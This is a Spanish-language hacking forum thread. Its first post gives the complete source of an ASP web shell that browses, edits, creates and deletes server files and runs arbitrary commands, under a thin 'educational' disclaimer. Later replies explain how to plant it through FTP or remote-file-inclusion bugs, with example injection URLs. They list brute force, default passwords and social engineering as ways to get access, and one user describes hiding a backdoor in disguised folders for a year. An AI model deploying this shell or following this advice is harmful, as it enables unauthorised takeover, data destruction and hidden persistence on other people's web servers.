Pues vamos al grano... no encontré un buen shell en ASP y decidí hacer uno y de paso practicar mi ASP.
[broma]
(creo que me tardé más en escribir MORRIS con "#" para firmarlo que en hacer el código, jajajaja)
[/broma]
Explota malas configuraciones del IIS.
Espero comentarios, sugerencias, mejoras, errores y testeos.
Morris
<%
Propiedad = "www.elhacker.net"
' Este shell servirá en servidores con una mala configuración si el servidor NO ES vulnerable MANDARA ERRORES
' Esta herramienta ha sido creada para ayudar a los administradores a probar la configuración de su IIS
' NO ME HAGO RESPONSABLE POR EL MAL USO QUE SE LE DE A ESTA HERRAMIENTA
' Cualquier comentario y mejora se agradecerá morris@elhacker.net
' Este material es educacional y se debe de usar de la misma forma
' Si encuentras un servidor vulnerable que no sea tuyo, avisa al administrador. El te lo agradecerá.
' http://foro.elhacker.net/index.php/topic,56790.0.html
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
' ##### ##### ##### ##### VISITANOS EN ##### ##### ##### #####
' ##### ##### ##### ##### FORO.elhacker.net ##### ##### ##### #####
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
' Code by Morris
' #### #### ##### ###### ###### ## ####
' #### ##### # # ## # ## # ## #
' ## # # ## # # ## ### ## ### ## #####
' ## # # ## # # ## # ## # ## #
' ## # ## ##### ## # ## # ## #####
ON ERROR RESUME NEXT
Archivo = "myshell.asp"
Accion = Request.QueryString("Accion")
Path = Request.QueryString("Path")
IF Path = "" THEN
Path = Server.MapPath(".")
END IF
PathFile = Request.QueryString("PathFile")
' Crea instancia del FileSystemObject
Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
' Create el objeto Folder
Set MyFolder=MyFileObject.GetFolder(Path)
'Loop a través de los folders
FUNCTION MapURL(path)
ON ERROR RESUME NEXT
dim rootPath, url
'Convierte la ruta fisica por una virtual para abrir los archivos
rootPath = Server.MapPath("/")
url = Right(path, Len(path) - Len(rootPath))
MapURL = Replace(url, "\", "/")
END FUNCTION
' RetVal = Shell("C:\WINDOWS\CALC.EXE", 1) ' Run Calculator.
'response.Write(Path)
%>
<%
IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código - <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end
END IF
IF Accion = "Guardar" THEN
Set MyOutStream=MyFileObject.OpenTextFile(PathFile, 2, TRUE)
MyOutStream.Write(Request.Form("texto"))
MyOutStream.Close
%>
La información ha sido guardada.
<br>
<a href="javascript:history.go(-2)">Regresar</a>
<%
END IF
IF Accion = "Ejecutar" THEN
On Error Resume Next
Dim Shell, Ejecutar
Set Shell = CreateObject("WScript.Shell")
Archivo = Request.QueryString("Archivo")
Set Ejecutar = Shell.Exec(Archivo)
Do While Ejecutar.Status = 0
WScript.Sleep 100
Loop
WScript.Echo Ejecutar.Status
Response.Write("done")
END IF
IF Accion = "Nuevo" THEN
Archivo = Request.QueryString("Archivo")
IF Archivo = "" THEN
Archivo = "ArchivoNuevo.txt"
END IF
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile(PathFile & "\" & Archivo, True)
MyFile.WriteLine("This is a test.")
MyFile.Close
END IF
IF Accion = "Borrar" THEN
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile(PathFile)
MyFile.Delete
END IF
IF Accion = "Editar" THEN%>
<form action="<%=Archivo%>?Accion=Guardar&PathFile=<%=PathFile%>" method="post">
<textarea name="texto" cols=100 rows=25>
<%
Set MyTextFile = MyFileObject.OpenTextFile(PathFile)
WHILE NOT MyTextFile.AtEndOfStream
Response.Write( Server.HTMLEncode(MyTextFile.ReadLine) & Chr(10))
WEND
MyTextFile.Close
%>
</textarea>
<BR>
<input type=submit value="Guardar">
</form>
<%
Response.end
END IF
%>
<HTML>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" VLINK="#000000">
<p><BR>
<B>ASPShell by Morris - Version 1.0 - <a href="http://www.elhacker.net">elhacker.net</a></B><BR>
</p>
<form action="<%=Archivo%>">
<input name="Accion" type="hidden" value="Ruta">
<input name="Path" type="text" id="Path" value="<%=Path%>" size="70">
<input type="submit" value="Ir">
</form>
<br>
<TABLE BORDER=0 CELLPADDING=3 CELLSPACING=0 width="100%">
<TR BGCOLOR="#000000">
<TD><FONT COLOR="#FFFFFF"><B>Nombre de Archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Acciones:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tamaño:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tipo de archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Fecha de creación:</B></FONT></TD>
<%
FOR EACH thing in MyFolder.SubFolders
ON ERROR RESUME NEXT
%>
<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>">[ <%=thing.Name%> ]</A></TD>
<TD></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
'Loop a través de los archivos
FOR EACH thing in MyFolder.Files
ON ERROR RESUME NEXT
url = MapURL(thing.path)
%>
<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>&Accion=Editar"><%=thing.Name%></A></TD>
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>&PathFile=<%=Path%>\<%=thing.Name%>&Accion=Borrar">Borar</A></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
%>
</TABLE>
Total de directorios
<%
Response.Write(MyFolder.SubFolders.Count )
%>
Total de archivos
<%
Response.Write(MyFolder.Files.Count )
%>
<br><br>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Nuevo">
<input name="Archivo" type="text" id="Archivo" value="Nombre Archivo.ext">
<input name="Submit" type="submit" value="Nuevo Archivo">
</form>
<strong><font color="#FF0000">Lo más recomendable es subir un .bat y ejecutar ese archivo poniendo la ruta completa hasta el .bat </font></strong>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>/archivo.bat">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Ejecutar">
<input name="Archivo" type="text" id="Archivo" value="<%Path%>">
<input name="Submit" type="submit" value="Ejecutar">
</form>
</BODY>
</HTML>
<%
Response.Write("Visitanos en foro.elhacker.net")
%>
Eso es lenguaje HTMl?
Como se usa?
Cita de: Natanael en 10 Abril 2005, 14:45 PM
Eso es lenguaje HTMl?
Como se usa?
No no es HTML lee el titulo de el post es ASP y pues se usa como cualquier otra shell creo, la subes al servidore y ella te dice el resto.
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P
Cita de: Morris en 11 Abril 2005, 17:51 PM
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P
Que quieres decir con esto?Como lo subo?
CitarIF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código - <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end
;D
Cita de: Ruben Ruiz en 11 Abril 2005, 22:19 PM
Cita de: Morris en 11 Abril 2005, 17:51 PM
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P
Que quieres decir con esto?Como lo subo?
Lo que quiere decir es que te vallas a tu cliente FTP, y lo subas a la cuenta de tu host. Cuando lo hayas subido te vas a tu explorador escribes la url en donde esta localizada la shell y la ejecutas, y ella te va a dar instrucciones de como hacerlo creo.
Hasta Pronto
Muy buen script Morris ;) nose si algun dia lo usare pero me a gustao :)
Gracias Derek :P me haz alegrado el día :D
Efectivamente suban el ASP por FTP o copienlo en la carpeta www de la forma que se les ocurra, de ahí accesen por web
http://www.dominio.com/myshell.asp
Lo demás es intuitivo.
Bueno ya voy entendiendo, veamos, copio el codigo, por cierto le debo poner extensión .asp, verdad?? luego la subo a mi ftp, pero como hago, mi ftp tiene user y pass, que deberia hacer?? y por ultimo voy y redirigo la web vulnerable agrgandole la direccion (page=xxx) de mi ftp. Es asi?? :-\
Lo cipias, lo pegas en el notepad, lo guardas con extensión asp.
Para subirlo a alguna web necesitas utilizar algún bug o subirlo por ftp (necesitas un password o un bug)
Luego entras vía http y lo ejecutas por internet explorer.
Hola, esto es lo que no entiendo: Luego entras vía http y lo ejecutas por internet explorer.
Pero como? Por ejemplo ya tengo una web con el bug pagina=http://www.foro.elhacker.net , entonces para aprovechar el bug quedaria algo asi: http://www.xxxxx.com/index.asp?pais=xxx&pagina=http://www.foro.elhacker.net
entonces si colocora el codigo de la shell en la web del foro tendria que agregarle la ubicacion de la shell y quedaria algo como esto: http://www.xxxxx.com/index.asp?pais=xxx&pagina=http://www.foro.elhacker.net/myshell.asp
Estoy en lo correcto???
www.paginavulnerable.com/index.asp?pais=xxx&pagina=http://www.tudominiocontushell.com/shell.asp
asi quedaria
Gracias Whaky, ahora solo no entiendo como podria hacer una cuenta ftp y poderla usar para tener ahi la shell, me refiero a que las cuentas ftp piden user y pass y no entiendo como podria hacer.
Me refiero que al link que se le agrega a la web vulnerable es por ejemplo asi: ftp://ftp.web.com pero cuando se quiera acceder ahi va a pedir el loggin. Como se haria??
Fuerza bruta.
Password default.
Bug en FTP
Robando el user y pwd mediante ingeniería social.
Con algún bug de upload que te permita subir archivos a la web.
Muy curro, Morris, como el que me pasastes hace un tiempo, el tema para que sirve, pues te curras, una web, te camuflas por ahi, por temp, que se io y tienes un back
ejemplo
http://www.fgfggfg.com/_vti_tmp/_vti_log/_vti_txt/_vti_root/xxxxfacer.php
este era en php, pues me cree _vti_tmp/_vti_log/_vti_txt/_vti_root, para esconderlo bien y wuallaaa , por lo menos un año para encontrarme , Thnks Morris
Off Topic/ OLD TOPIC!!
eso del ftp....tp lo entiendo yo :-[...como lo hago, me creo una cuenta ftp por ejemplo en "miarroba" y subo a "mi pagina web" ese codigo en .asp a traves de ftp o como sea no? la cuestion es tener subido en mi pagina ese codigo para poder usarlo, ahora pongo la direccion de mi pagina de forma k abra el .asp
"www.mipagina.com/codigo.asp" y asi se abriria el codigo en la shell no???
se supone k ese codigo es un xploit (corriganme por favor si me ekivoco) y k introduciendolo en otro codigo web pues me metere como administrador y podre hacer lo k kiera en la web, para hacer tal cosa tendria k poner:
www.paginaahacker.com/index.asp?pais=xxx&pagina=http://www.mipagina.com/codigo.asp
se supone k si sale bien y ese xploit es asi como se usa (k nose mucho de exploits...nose de k tipo es este ni nada :P) me meteria directamente en la web como administrador???
bueno yo tambien tengo una dudita, el ASP, ya lo subi, a un ftp
http://psychito.webcindario.com/index.asp
ese es estoy en lo correcto como lo ise??
Ahora como lo ago funcionar, o que ondas
investiga sobre bugs de RFI.. y su explotacion.
Saludos!!
Todo lo k sea defacears webs...son metodos RFI?? (sql, etc...)
Creo k esta pregunta podria llegar al grado de estupida...pero esk necesito aclarar esa idea ;D
Cita de: Sdc en 3 Agosto 2006, 04:32 AM
investiga sobre bugs de RFI.. y su explotacion.
Saludos!!
Si se que son los RFI son para PHP, verdad?? , bueno por lo k veo estos son ASP?, es lo mismo?
si tambien para ASP, JSP, PHP, CFM, etc..
Saludos!!
Hola , Como veo todos tienen dudas .
Pues lo suben a su servidor en .php o .html . Aqui un ejemplo de mi servidor que no funciona :
http://heddos.com/hacking.html